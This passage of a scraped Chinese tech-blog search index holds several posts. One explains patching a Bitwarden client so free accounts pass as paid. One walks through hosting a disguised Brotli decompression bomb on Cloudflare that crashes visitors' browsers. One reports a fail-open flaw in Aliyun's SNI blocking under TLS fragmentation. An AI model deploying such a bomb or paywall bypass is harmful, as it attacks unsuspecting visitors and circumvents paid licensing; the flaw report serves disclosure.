[虫子]通行密钥在Cloudflare上无法使用·第#635期 ·AChep/keyguard-app\n可以尝试重新生成一份通行密钥，通过KeyGuard上传至Bitwarden.com\n但更建议： 不使用通行密钥，而是使用更广泛的TOTP二步验证方式\nPC 浏览器插件 可以使用 SunsetMkt/Sunsetvault: Builder for Sunsetvault extension.\n它仅做一件事：当Bitwarden官方浏览器插件源码发布时，拉取并修补一段代码：\n让任意账户都被识别为VIP\n这样，TOTP就可用了\n相比自建的好处 直接使用 Bitwarden.com ，你就不再需要有一台服务器来部署 Vaultwarden 或研究晦涩难懂的Rust/TS代码在Cloudflare Worker上部署 warden-worker / NodeWarden\n并且也可以收益于官方的登录日志邮件\n注意事项 该方法为 非官方授权绕过方案 。不保证未来的可用性，仅供测试学习使用 请不要用Bitwarden.com来管理登录Bitwarden.com的凭据 （如：TOTP，通行密钥等），一旦你无法访问Bitwarden.com，你将无法恢复存储在其上的任何密码。请记住你登录Bitwarden的账密 ，若有二步验证凭据，应当存储在其他地方（如脱机的谷歌/微软验证器，或将密钥写在纸上并存放到私密的地方） 这也是你唯一要记住的东西了 不用担心 Bitwarden.com 宕机。一旦有设备成功登录到Bitwarden，该设备就可以用以导出密码库中的所有密码。只要 Bitwarden.com / 登陆设备 二者有其一可用，密码就永不会丢失 设置 Bitwarden 的主密码时要尤其小心。该密码无法通过忘记密码来更改 。只有在已经登录进 Bitwarden 时才能更改，并且需要验证原主密码。详见： https://bitwarden.com/help/article/forgot-master-password/ 参考文献 · 鸣谢 为此文的编写奠定基础 - 密码管理器折腾记：从微软背刺到 KeyGuard 真香\n","permalink":"https://blog.2x.nz/posts/bitwarden-com/","summary":"\u003ch1 id=\"bitwarden以及bitwardencom是什么\"\u003eBitwarden以及Bitwarden.com是什么\u003c/h1\u003e\n\u003cp\u003eBitwarden是一个开源的密码库工具（云服务或自托管），用户可以将所有网站的登录凭据（包含：密码、TOTP、通行密钥等） \u003cstrong\u003e端到端加密\u003c/strong\u003e 存储至其中。并在需要的时候自动填充帮你登录网站。这样，你就不再需要记住各个网站的账号密码了，只要你能访问Bitwarden，它会帮你做好一切\u003c/p\u003e\n\u003cp\u003e而Bitwarden.com是一项服务，提供用以存储密码库的服务器，使得用户 \u003cstrong\u003e无需自有服务器\u003c/strong\u003e 就可以使用Bitwarden\u003c/p\u003e\n\u003ch1 id=\"bitwardencom-免费版的默认限制\"\u003eBitwarden.com 免费版的“默认”限制\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://bitwarden.com/\"\u003eBest Password Manager for Business, Enterprise \u0026amp; Personal | Bitwarden\u003c/a\u003e 免费版没法用TOTP，必须花钱来升级套餐实现\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/bitwarden-com/img/Screenshot_2026-02-23-16-24-34-42_edf9c6c5202cf0a.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e我们当然也可以选择不在任何网站使用TOTP，但这样的话。所有网站都只有密码保护你的账号，从长远来看这并不安全\u003c/p\u003e\n\u003ch1 id=\"bitwardencom-免费版实际上限制的东西\"\u003eBitwarden.com 免费版实际上限制的东西\u003c/h1\u003e\n\u003cp\u003e实际上，如果你曾经用过其他密码库，并存储了TOTP，并将其导入到 Bitwarden.com ，你会发现，它是可以成功导入的，只不过是无法“自动填充”\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/bitwarden-com/img/bitwarden-com.png\"\u003e\u003c/p\u003e\n\u003cp\u003e那么也就是说，实际上 Bitwarden.com 并没有封禁免费用户存储TOTP的权限\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e它只是在前端阻止了免费用户“自动填充”TOTP的权限\u003c/strong\u003e\u003c/p\u003e\n\u003ch1 id=\"绕过-bitwardencom-免费版无法自动填充totp的限制\"\u003e绕过 Bitwarden.com 免费版无法自动填充TOTP的限制\u003c/h1\u003e\n\u003cp\u003e既然它是在前端阻止，我们实际上是有办法绕过的\u003c/p\u003e\n\u003cp\u003e无非就是自建一个第三方客户端/浏览器插件，然后在判断VIP的字段让它始终返回 \u003ccode\u003etrue\u003c/code\u003e 即可\u003c/p\u003e\n\u003cp\u003e我们当然可以自己从零来实现，当然，也可以直接寻找市面上已有的，不错的解决方案\u003c/p\u003e\n\u003ch3 id=\"针对于-android\"\u003e针对于 Android\u003c/h3\u003e\n\u003cp\u003e我们可以使用 \u003ca href=\"https://github.com/AChep/keyguard-app\"\u003eAChep/keyguard-app: Alternative client for the Bitwarden® platform \u0026amp; KeePass (KDBX), created to provide the best user experience possible.\u003c/a\u003e 这个开源的第三方Bitwarden客户端\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e注意，不要去Google Play下载。只有Github的版本拥有全部功能\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e此时，登录你的Bitwarden账号，即可绕过免费版限制，使用TOTP自动填充\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/bitwarden-com/img/Screenshot_2026-02-23-16-28-57-77_f2500aab0c419d0.jpg\"\u003e\u003c/p\u003e\n\u003ch4 id=\"关于keyguard对通行密钥的适配问题\"\u003e关于KeyGuard对通行密钥的适配问题\u003c/h4\u003e\n\u003cp\u003eKeyGuard可能无法自动填充你的通行密钥，这可能由多种情况导致，但一般是这种情况： \u003ca href=\"https://github.com/AChep/keyguard-app/issues/635\"\u003e[虫子]通行密钥在Cloudflare上无法使用·第#635期 ·AChep/keyguard-app\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e可以尝试重新生成一份通行密钥，通过KeyGuard上传至Bitwarden.com\u003c/p\u003e\n\u003cp\u003e但更建议： \u003cstrong\u003e不使用通行密钥，而是使用更广泛的TOTP二步验证方式\u003c/strong\u003e\u003c/p\u003e","title":"魔幻嫁接！免费用上完全体的Bitwarden！"},{"content":"起因 正如很多站长都会遇到的那样，如果你通过 PR 来处理友链申请，尤其是在完全没有自动化的情况下，大概率会遇到下面这种场面：\n数量多其实还不是最麻烦的，真正麻烦的是：\n以及各种格式问题。\n是的，我甚至都没有设计什么复杂格式，但很多人提交友链时，连 JSON 都写不明白。上图是忘了引号，下图则连 .json 后缀都没写对。\n很长一段时间里，这些小问题我都是手动帮忙修的，毕竟看起来都不算大事。\n但问题在于：当你正在打游戏，或者正忙着处理别的事情时，突然弹出一个友链 PR，你到底是现在处理，还是留到之后集中处理？无论怎么选，都挺打断节奏。\n所以我就在想：有没有办法把这件事尽可能自动化掉？\n正式开始 我们能不能用 GitHub Action 来自动化这件事？\n思路是这样的：让用户在提交友链时额外填写一个回链字段，然后由 GitHub Action 实际检测是否存在回链。这样不仅能确认对方确实添加了你的友链，也能顺便完成一次所有权验证。\n正式开始（旧的） 我们可以先把整个流程拆开来想一遍。\nGitHub Action 本来就是用来处理这类自动化任务的，这不正好符合我们的需求吗？甚至还可以顺手做一些更高级的事情，比如所有权验证，某种程度上和站长平台验证域名的思路很像。\n于是，整体流程草图很快就出来了。\n接下来再把这份思路交给 AI 帮忙整理实现。\n最终你就得到了\n没关系，前期看起来乱一点很正常，毕竟 GitHub Action 这类流程很多时候只能在真实环境里慢慢调试。\n最终我们就会得到\u0026hellip;\n看起来是不是很简单？其实并没有。现在看到的这套流程虽然表面上还算清晰，但也是反复梳理和修改之后，才勉强打磨到“基本能用”的状态。\n下面再说一些非常容易踩坑的地方。\n踩坑 首先，这整套架构虽然最终看起来还算清晰，但实际逻辑并不简单。要是一次就能跑通，那已经算运气很好了；一旦中间某一步出问题，排查起来会相当痛苦。\n所以在多次调整架构之后，我最终决定直接使用 GitHub 的标签系统来跟踪进度并锚定规则。\n每一步都给 PR 打上明确的标签，就像这样：\n这样做的好处是，不仅在外部一眼就能看出某个 PR 卡在哪一步，也能让你在不额外写复杂日志的情况下，大致判断问题出在哪里。\n接下来是所有权验证。这个环节其实必须做好错误处理，因为它往往无法一次性顺利跑到底。借助 GitHub 标签，我们可以控制某些步骤是否跳过，从而避免验证文件被重复要求，或者每次都随机生成一个新的文件。\n只要打上 所有权验证进行中 这个标签，Action 就会去寻找之前已经创建好的验证文件，而不是重新生成一个新的。\n到这里看起来还只是基本功，但后面还有一个更关键的问题。\n我发现，只要是从外部仓库拉进来的 PR，Action 就没法直接通过 GITHUB_TOKEN 去合并它。不过这个问题也不算麻烦，额外创建一个自己的个人访问令牌（PAT），再把它绑定到 Action 中即可。\n至此，这套自动化流程终于能比较顺畅地跑起来了。\n","permalink":"https://blog.2x.nz/posts/auto-pr-link/","summary":"\u003ch1 id=\"起因\"\u003e起因\u003c/h1\u003e\n\u003cp\u003e正如很多站长都会遇到的那样，如果你通过 PR 来处理友链申请，尤其是在完全没有自动化的情况下，大概率会遇到下面这种场面：\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/auto-pr-link/img/auto-pr-link-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e数量多其实还不是最麻烦的，真正麻烦的是：\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/auto-pr-link/img/auto-pr-link-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e以及各种格式问题。\u003c/p\u003e\n\u003cp\u003e是的，我甚至都没有设计什么复杂格式，但很多人提交友链时，连 JSON 都写不明白。上图是忘了引号，下图则连 \u003ccode\u003e.json\u003c/code\u003e 后缀都没写对。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/auto-pr-link/img/auto-pr-link-3.png\"\u003e\u003c/p\u003e\n\u003cp\u003e很长一段时间里，这些小问题我都是手动帮忙修的，毕竟看起来都不算大事。\u003c/p\u003e\n\u003cp\u003e但问题在于：当你正在打游戏，或者正忙着处理别的事情时，突然弹出一个友链 PR，你到底是现在处理，还是留到之后集中处理？无论怎么选，都挺打断节奏。\u003c/p\u003e\n\u003cp\u003e所以我就在想：有没有办法把这件事尽可能自动化掉？\u003c/p\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e我们能不能用 GitHub Action 来自动化这件事？\u003c/p\u003e\n\u003cp\u003e思路是这样的：让用户在提交友链时额外填写一个回链字段，然后由 GitHub Action 实际检测是否存在回链。这样不仅能确认对方确实添加了你的友链，也能顺便完成一次所有权验证。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/auto-pr-link/img/auto-pr-link-11.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"正式开始旧的\"\u003e正式开始（旧的）\u003c/h1\u003e\n\u003cp\u003e我们可以先把整个流程拆开来想一遍。\u003c/p\u003e\n\u003cp\u003eGitHub Action 本来就是用来处理这类自动化任务的，这不正好符合我们的需求吗？甚至还可以顺手做一些更高级的事情，比如所有权验证，某种程度上和站长平台验证域名的思路很像。\u003c/p\u003e\n\u003cp\u003e于是，整体流程草图很快就出来了。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/auto-pr-link/img/auto-pr-link-4.png\"\u003e\u003c/p\u003e\n\u003cp\u003e接下来再把这份思路交给 AI 帮忙整理实现。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/auto-pr-link/img/auto-pr-link-5.png\"\u003e\u003c/p\u003e\n\u003cp\u003e最终你就得到了\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/auto-pr-link/img/auto-pr-link-6.png\"\u003e\u003c/p\u003e\n\u003cp\u003e没关系，前期看起来乱一点很正常，毕竟 GitHub Action 这类流程很多时候只能在真实环境里慢慢调试。\u003c/p\u003e\n\u003cp\u003e最终我们就会得到\u0026hellip;\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/auto-pr-link/img/auto-pr-link-7.png\"\u003e\u003c/p\u003e\n\u003cp\u003e看起来是不是很简单？其实并没有。现在看到的这套流程虽然表面上还算清晰，但也是反复梳理和修改之后，才勉强打磨到“基本能用”的状态。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/auto-pr-link/img/auto-pr-link-8.png\"\u003e\u003c/p\u003e\n\u003cp\u003e下面再说一些非常容易踩坑的地方。\u003c/p\u003e\n\u003ch1 id=\"踩坑\"\u003e踩坑\u003c/h1\u003e\n\u003cp\u003e首先，这整套架构虽然最终看起来还算清晰，但实际逻辑并不简单。要是一次就能跑通，那已经算运气很好了；一旦中间某一步出问题，排查起来会相当痛苦。\u003c/p\u003e\n\u003cp\u003e所以在多次调整架构之后，我最终决定直接使用 GitHub 的标签系统来跟踪进度并锚定规则。\u003c/p\u003e\n\u003cp\u003e每一步都给 PR 打上明确的标签，就像这样：\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/auto-pr-link/img/auto-pr-link-9.png\"\u003e\u003c/p\u003e\n\u003cp\u003e这样做的好处是，不仅在外部一眼就能看出某个 PR 卡在哪一步，也能让你在不额外写复杂日志的情况下，大致判断问题出在哪里。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/auto-pr-link/img/auto-pr-link-10.png\"\u003e\u003c/p\u003e\n\u003cp\u003e接下来是所有权验证。这个环节其实必须做好错误处理，因为它往往无法一次性顺利跑到底。借助 GitHub 标签，我们可以控制某些步骤是否跳过，从而避免验证文件被重复要求，或者每次都随机生成一个新的文件。\u003c/p\u003e\n\u003cp\u003e只要打上 \u003ccode\u003e所有权验证进行中\u003c/code\u003e 这个标签，Action 就会去寻找之前已经创建好的验证文件，而不是重新生成一个新的。\u003c/p\u003e","title":"网站加友链的最佳姿势是什么？当然是自动化啦！"},{"content":"前言 很早之前，我有一位朋友给我发了一个神秘的网站，打开以后就是一直转圈圈\n但是正常来说，浏览器的转圈圈是有超时的，我在那等了好几分钟还是在转圈圈\n最后发现不是网络请求的问题，而是网页提供的资产的问题！\n原始网页发送了一个 42kb 大小的文件，通过响应头告知浏览器为br压缩，原始格式为html，然后\u0026hellip;\n打开F12控制台，我去！这玩意怎么有10个G！不对！它还在加载！\n随后得知这就是个Web压缩炸弹，今天又想起来这件事了，就尝试折腾了一下\n接下来手把手教各位做这个压缩炸弹！\n原理 在现代网页中，服务器一般不提供原始的源文件（如：.html），而是提供一个压缩后的文件（如：.br, .gz, .zstd）\n浏览器收到文件后根据 Content-Encoding 响应标头的值来判断资产是否被压缩以及要使用的解压算法是什么\n此项措施原本是为了节省网络带宽，分发压缩后的网页文件一般会比分发原始文件消耗的带宽少得多\n如果你稍微了解过压缩原理，你应该就知道压缩实际上就是去重+归类\n用一个不太恰当的例子\n假如这是源文件，一共有10个0\n0000000000 如果我们想要压缩？非常简单！因为该文件只有10个0，我们可以将其写为 10-0, 以代表10个0，这样，一个简单的压缩算法就实现了\n它成功将源文件压缩了50%（源文件存放需要10个单位，压缩后仅需5个单位）\n这只是一个简单的演示，并不代表市面上任意一个压缩算法，仅限于简单理解“压缩是怎么实现的”\n那么如果我们往一个文件内塞入非常非常多的0呢？然后将其压缩，最终就能得到一个十分小的压缩文件，但是解压后就会释放出巨大的文件！\n[!TIP] zstd与br的压缩率远高于gz，所以一般都使用他们来制作压缩炸弹，压缩后与源文件的比率可以达到惊人的 1:124878.0487804878\n一个 8.20 KB 的压缩炸弹，解压后可以释放高达 10 GB 的文件！\n实操 首先我们需要准备这个特制的压缩炸弹，你可以手动制作，也可以直接从这里下载 吃内存的网页炸弹 – 晨旭的博客~\n接下来我们就得到一个压缩炸弹了，它看起来人畜无害\n当我们使用解压工具进行解压后就能得到这个巨大的原文件了\nok，接下来我们只需要将这个压缩炸弹放到web上，然后设置压缩标头即可\n那么\u0026hellip;放在哪呢？其实哪都可以，你只需要确保\nWeb服务器能提供 原始的压缩炸弹文件 Web服务器能够提供给客户端一个能使压缩炸弹 被正常解压缩的压缩标头 Content-Encoding 我们以Cloudflare Page/Worker 的静态托管举例\n首先，将压缩炸弹放到静态资产目录（为了伪装，我这边重命名为了 index.html ） 接下来，编辑Cloudflare规则，使其能给客户端一个我们所期望的标头\n由于Cloudflare默认针对html文件采用了自动压缩，我们的压缩炸弹会被cf再压缩一遍，这会导致压缩炸弹失效，可参考下图的逻辑链\n原始压缩炸弹.br -\u0026gt; Cloudflare 自动压缩（一般为 .zstd） -\u0026gt; 原始压缩炸弹.br.zstd -\u0026gt; 发送给客户端并携带zstd压缩标头 -\u0026gt; 客户端使用 zstd 算法解压得到 原始压缩炸弹.br -\u0026gt; 直接将 原始压缩炸弹.br 作为HTML显示 -\u0026gt; 乱码\n这样就没有效果了，所以我们首先需要禁用Cloudflare的自动压缩，使其直接提供原始文件\n接下来由于Cloudflare自动压缩被禁用了，Content-Encoding 响应标头也会被移除，此时如果客户端拉取，就是以下结果\n原始压缩炸弹.br -\u0026gt; 直接将 原始压缩炸弹.br 作为HTML显示 -\u0026gt; 乱码\n我们仍然没有达到我们的目的，所以我们需要额外再配置一条响应标头规则，强制让客户端以 br 算法解压我们的压缩炸弹 保险起见，这里让客户端将文件类型强制解析为html，避免其他类型导致客户端忽略 Content-Encoding\n接下来再尝试访问，不出意外，客户端成功吃到我们的压缩炸弹了！\n压缩炸弹的用处？ 没啥用，只能拿来炸炸你朋友的浏览器\n如果你想拿来替代WAF拦截，该方法确实有效，但是对于一些带宽敏感的CDN，还是建议返回CDN自带的拦截页面避免CDN误判 你没做好防护\n鸣谢 吃内存的网页炸弹 – 晨旭的博客~\n","permalink":"https://blog.2x.nz/posts/web-bomb/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e很早之前，我有一位朋友给我发了一个神秘的网站，打开以后就是一直转圈圈\u003c/p\u003e\n\u003cp\u003e但是正常来说，浏览器的转圈圈是有超时的，我在那等了好几分钟还是在转圈圈\u003c/p\u003e\n\u003cp\u003e最后发现不是网络请求的问题，而是网页提供的资产的问题！\u003c/p\u003e\n\u003cp\u003e原始网页发送了一个 42kb 大小的文件，通过响应头告知浏览器为br压缩，原始格式为html，然后\u0026hellip;\u003c/p\u003e\n\u003cp\u003e打开F12控制台，我去！这玩意怎么有10个G！不对！它还在加载！\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/web-bomb/img/web-bomb.png\"\u003e\u003c/p\u003e\n\u003cp\u003e随后得知这就是个Web压缩炸弹，今天又想起来这件事了，就尝试折腾了一下\u003c/p\u003e\n\u003cp\u003e接下来手把手教各位做这个压缩炸弹！\u003c/p\u003e\n\u003ch1 id=\"原理\"\u003e原理\u003c/h1\u003e\n\u003cp\u003e在现代网页中，服务器一般不提供原始的源文件（如：.html），而是提供一个压缩后的文件（如：.br, .gz, .zstd）\u003c/p\u003e\n\u003cp\u003e浏览器收到文件后根据 \u003ccode\u003eContent-Encoding\u003c/code\u003e 响应标头的值来判断资产是否被压缩以及要使用的解压算法是什么\u003c/p\u003e\n\u003cp\u003e此项措施原本是为了节省网络带宽，分发压缩后的网页文件一般会比分发原始文件消耗的带宽少得多\u003c/p\u003e\n\u003cp\u003e如果你稍微了解过压缩原理，你应该就知道压缩实际上就是去重+归类\u003c/p\u003e\n\u003cp\u003e用一个不太恰当的例子\u003c/p\u003e\n\u003cp\u003e假如这是源文件，一共有10个0\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e0000000000\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如果我们想要压缩？非常简单！因为该文件只有10个0，我们可以将其写为 \u003ccode\u003e10-0,\u003c/code\u003e 以代表10个0，这样，一个简单的压缩算法就实现了\u003c/p\u003e\n\u003cp\u003e它成功将源文件压缩了50%（源文件存放需要10个单位，压缩后仅需5个单位）\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e这只是一个简单的演示，并不代表市面上任意一个压缩算法，仅限于简单理解“压缩是怎么实现的”\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e那么如果我们往一个文件内塞入非常非常多的0呢？然后将其压缩，最终就能得到一个十分小的压缩文件，但是解压后就会释放出巨大的文件！\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[!TIP]\nzstd与br的压缩率远高于gz，所以一般都使用他们来制作压缩炸弹，压缩后与源文件的比率可以达到惊人的 \u003cstrong\u003e1:124878.0487804878\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e一个 \u003cstrong\u003e8.20 KB\u003c/strong\u003e 的压缩炸弹，解压后可以释放高达 \u003cstrong\u003e10 GB\u003c/strong\u003e 的文件！\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch1 id=\"实操\"\u003e实操\u003c/h1\u003e\n\u003cp\u003e首先我们需要准备这个特制的压缩炸弹，你可以手动制作，也可以直接从这里下载 \u003ca href=\"https://www.chenxublog.com/2020/11/16/web-bomb-eat-memory.html\"\u003e吃内存的网页炸弹 – 晨旭的博客~\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e接下来我们就得到一个压缩炸弹了，它看起来人畜无害\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/web-bomb/img/web-bomb-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e当我们使用解压工具进行解压后就能得到这个巨大的原文件了\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/web-bomb/img/web-bomb-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003eok，接下来我们只需要将这个压缩炸弹放到web上，然后设置压缩标头即可\u003c/p\u003e\n\u003cp\u003e那么\u0026hellip;放在哪呢？其实哪都可以，你只需要确保\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eWeb服务器能提供 \u003cstrong\u003e原始的压缩炸弹文件\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eWeb服务器能够提供给客户端一个能使压缩炸弹 \u003cstrong\u003e被正常解压缩的压缩标头 \u003ccode\u003eContent-Encoding\u003c/code\u003e\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e我们以Cloudflare Page/Worker 的静态托管举例\u003c/p\u003e\n\u003cp\u003e首先，将压缩炸弹放到静态资产目录（为了伪装，我这边重命名为了 \u003ccode\u003eindex.html\u003c/code\u003e ）\n\u003cimg loading=\"lazy\" src=\"/posts/web-bomb/img/web-bomb-3.png\"\u003e\u003c/p\u003e\n\u003cp\u003e接下来，编辑Cloudflare规则，使其能给客户端一个我们所期望的标头\u003c/p\u003e\n\u003cp\u003e由于Cloudflare默认针对html文件采用了自动压缩，我们的压缩炸弹会被cf再压缩一遍，这会导致压缩炸弹失效，可参考下图的逻辑链\u003c/p\u003e\n\u003cp\u003e原始压缩炸弹.br -\u0026gt; Cloudflare 自动压缩（一般为 .zstd） -\u0026gt; 原始压缩炸弹.br.zstd -\u0026gt; 发送给客户端并携带zstd压缩标头 -\u0026gt; 客户端使用 zstd 算法解压得到 原始压缩炸弹.br -\u0026gt; 直接将 原始压缩炸弹.br 作为HTML显示 -\u0026gt; 乱码\u003c/p\u003e","title":"如何在你的网站上放一个压缩炸弹？"},{"content":" [!caution] 提了Bug也没人管，公开了，侵删\n阿里云网关 DPI 阻断绕过漏洞分析报告：TLS Client Hello 分片逃逸 目标资产: 0721for.me (未备案域名)\n解析 IP: 39.107.95.178 (阿里云)\n漏洞类型: DPI 深度包检测逃逸 / Fail-Open (失败即放行)\n核心原因: 防火墙 DPI 引擎无法正确处理 TCP 分片的 TLS Client Hello 包\n1. 结论摘要 经深度抓包分析，阿里云网关针对未备案域名的 SNI 阻断策略存在严重的底层实现缺陷。当 TLS Client Hello 数据包大小超过以太网 MTU (1500 字节) 从而触发 TCP 分片时，DPI 引擎会因无法重组报文或解析超时而选择直接“放行”。\n随着现代浏览器（Chrome/Firefox）和新版工具（Curl）默认启用 后量子加密 (PQC, X25519Kyber768)，Client Hello 包大小普遍暴增至 1800+ 字节。这导致正常的现代 HTTPS 流量能够天然绕过监管阻断，而旧版客户端或手动降级的请求反被拦截。\n2. 现象对比与证据链 我们对比了多种客户端配置下的抓包数据，结果呈现出完美的二元对立：凡是分片的包均绕过，凡是不分片的包均被拦截。\n客户端环境 TLS 关键特征 包大小 (approx) TCP 分片 结果 原因分析 Chrome / Firefox 默认开启 PQC (Kyber768) ~1900 bytes ✅ 是 绕过 (200 OK) 包过大触发分片，DPI 解析失败导致放行 Curl (Linux 新版) 默认开启 PQC (Kyber768) ~1800 bytes ✅ 是 绕过 (200 OK) 同上 Curl (伪装 TLS 1.2) 伪装 1.2 但带 PQC Key Share ~2400 bytes ✅ 是 绕过 (200 OK) 只要有 PQC 撑大包，版本号伪装也能过 Curl (手动指定) --curves X25519 (禁用 PQC) ~300 bytes ❌ 否 拦截 (RST) 单包完整，DPI 成功提取 SNI 并拦截 Curl (Windows) 旧版/Schannel (无 PQC) ~450 bytes ❌ 否 拦截 (RST) 同上 Firefox (强制 1.2) 纯 TLS 1.2 (无 KeyShare) ~180 bytes ❌ 否 拦截 (RST) 纯 TLS 1.2 包极小，DPI 轻松解析拦截 3. 技术细节分析 3.1 核心机制：PQC 撑爆 MTU PQC 引入：TLS 1.3 引入了后量子加密算法支持。主流的 X25519MLKEM768 (Kyber768) 密钥交换需要在 Client Hello 的 key_share 扩展中携带约 1200 字节 的公钥数据。 包大小激增：加上其他常规扩展（SNI, ALPN, Signature Algorithms 等），整个 Client Hello 的长度通常在 1800 - 2500 字节 之间。 TCP 分片：标准以太网 MTU 为 1500 字节。超过此大小的 TLS 握手包必须被网络协议栈拆分为多个 TCP 段（Segments）发送。 3.2 DPI 缺陷：Fail-Open 解析逻辑：阿里云网关的 DPI 引擎似乎仅检测 TLS 握手的第一个 TCP 数据包。 截断失效：对于分片的 Client Hello，SNI 扩展虽然通常在第一个包中，但由于 TLS Record Layer 的 Length 字段指示的长度（如 1800）远大于实际接收到的第一个分片长度（如 1400），DPI 引擎会判断为报文不完整或无法解析。 策略选择：为了避免在高并发下进行昂贵的 TCP 流重组（Stream Reassembly），或者避免误杀（False Positive），DPI 采取了 Fail-Open 策略，即 “看不懂就行”。 3.3 关键抓包证据 (Wireshark Frames) Frame 4251 (Firefox - 绕过): Length: 1890 [2 Reassembled TCP Segments] Extension: key_share ... X25519MLKEM768 Frame 964 (Firefox 强制 TLS 1.2 - 拦截): Length: 186 无 key_share，无 PQC。 单包发送，立即 RST。 Frame 568 (伪装 TLS 1.2 - 绕过): Version: TLS 1.2 但包含 PQC Key Share。 Length: 2441，分片 -\u0026gt; 绕过。 4. 危害与建议 危害：当前的监管阻断策略对现代流量（主流浏览器、新版工具）几乎完全失效，仅能拦截旧设备或特定配置的爬虫，形同虚设。 建议： 升级 DPI 引擎：必须支持 TCP 流重组（Reassembly），确保能够还原并解析跨包的 TLS Client Hello。 优化解析逻辑：即使不重组，也可以尝试在第一个分片中尽力提取 SNI（SNI 通常靠前），但这可能容易被 Padding 混淆绕过。最稳妥的方式依然是流重组。 ","permalink":"https://blog.2x.nz/posts/aliyun-icp-tls-bug/","summary":"\u003cblockquote\u003e\n\u003cp\u003e[!caution]\n提了Bug也没人管，公开了，侵删\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch1 id=\"阿里云网关-dpi-阻断绕过漏洞分析报告tls-client-hello-分片逃逸\"\u003e阿里云网关 DPI 阻断绕过漏洞分析报告：TLS Client Hello 分片逃逸\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003e目标资产\u003c/strong\u003e: \u003ccode\u003e0721for.me\u003c/code\u003e (未备案域名)\u003cbr\u003e\n\u003cstrong\u003e解析 IP\u003c/strong\u003e: \u003ccode\u003e39.107.95.178\u003c/code\u003e (阿里云)\u003cbr\u003e\n\u003cstrong\u003e漏洞类型\u003c/strong\u003e: DPI 深度包检测逃逸 / Fail-Open (失败即放行)\u003cbr\u003e\n\u003cstrong\u003e核心原因\u003c/strong\u003e: 防火墙 DPI 引擎无法正确处理 TCP 分片的 TLS Client Hello 包\u003c/p\u003e\n\u003ch2 id=\"1-结论摘要\"\u003e1. 结论摘要\u003c/h2\u003e\n\u003cp\u003e经深度抓包分析，阿里云网关针对未备案域名的 SNI 阻断策略存在严重的底层实现缺陷。\u003cstrong\u003e当 TLS\u003c/strong\u003e \u003ccode\u003eClient Hello\u003c/code\u003e \u003cstrong\u003e数据包大小超过以太网 MTU (1500 字节) 从而触发 TCP 分片时，DPI 引擎会因无法重组报文或解析超时而选择直接“放行”\u003c/strong\u003e。\u003c/p\u003e\n\u003cp\u003e随着现代浏览器（Chrome/Firefox）和新版工具（Curl）默认启用 \u003cstrong\u003e后量子加密 (PQC, X25519Kyber768)\u003c/strong\u003e，Client Hello 包大小普遍暴增至 1800+ 字节。这导致正常的现代 HTTPS 流量能够天然绕过监管阻断，而旧版客户端或手动降级的请求反被拦截。\u003c/p\u003e\n\u003ch2 id=\"2-现象对比与证据链\"\u003e2. 现象对比与证据链\u003c/h2\u003e\n\u003cp\u003e我们对比了多种客户端配置下的抓包数据，结果呈现出完美的二元对立：\u003cstrong\u003e凡是分片的包均绕过，凡是不分片的包均被拦截\u003c/strong\u003e。\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e客户端环境\u003c/th\u003e\n          \u003cth\u003eTLS 关键特征\u003c/th\u003e\n          \u003cth\u003e包大小 (approx)\u003c/th\u003e\n          \u003cth\u003eTCP 分片\u003c/th\u003e\n          \u003cth\u003e结果\u003c/th\u003e\n          \u003cth\u003e原因分析\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eChrome / Firefox\u003c/strong\u003e\u003c/td\u003e\n          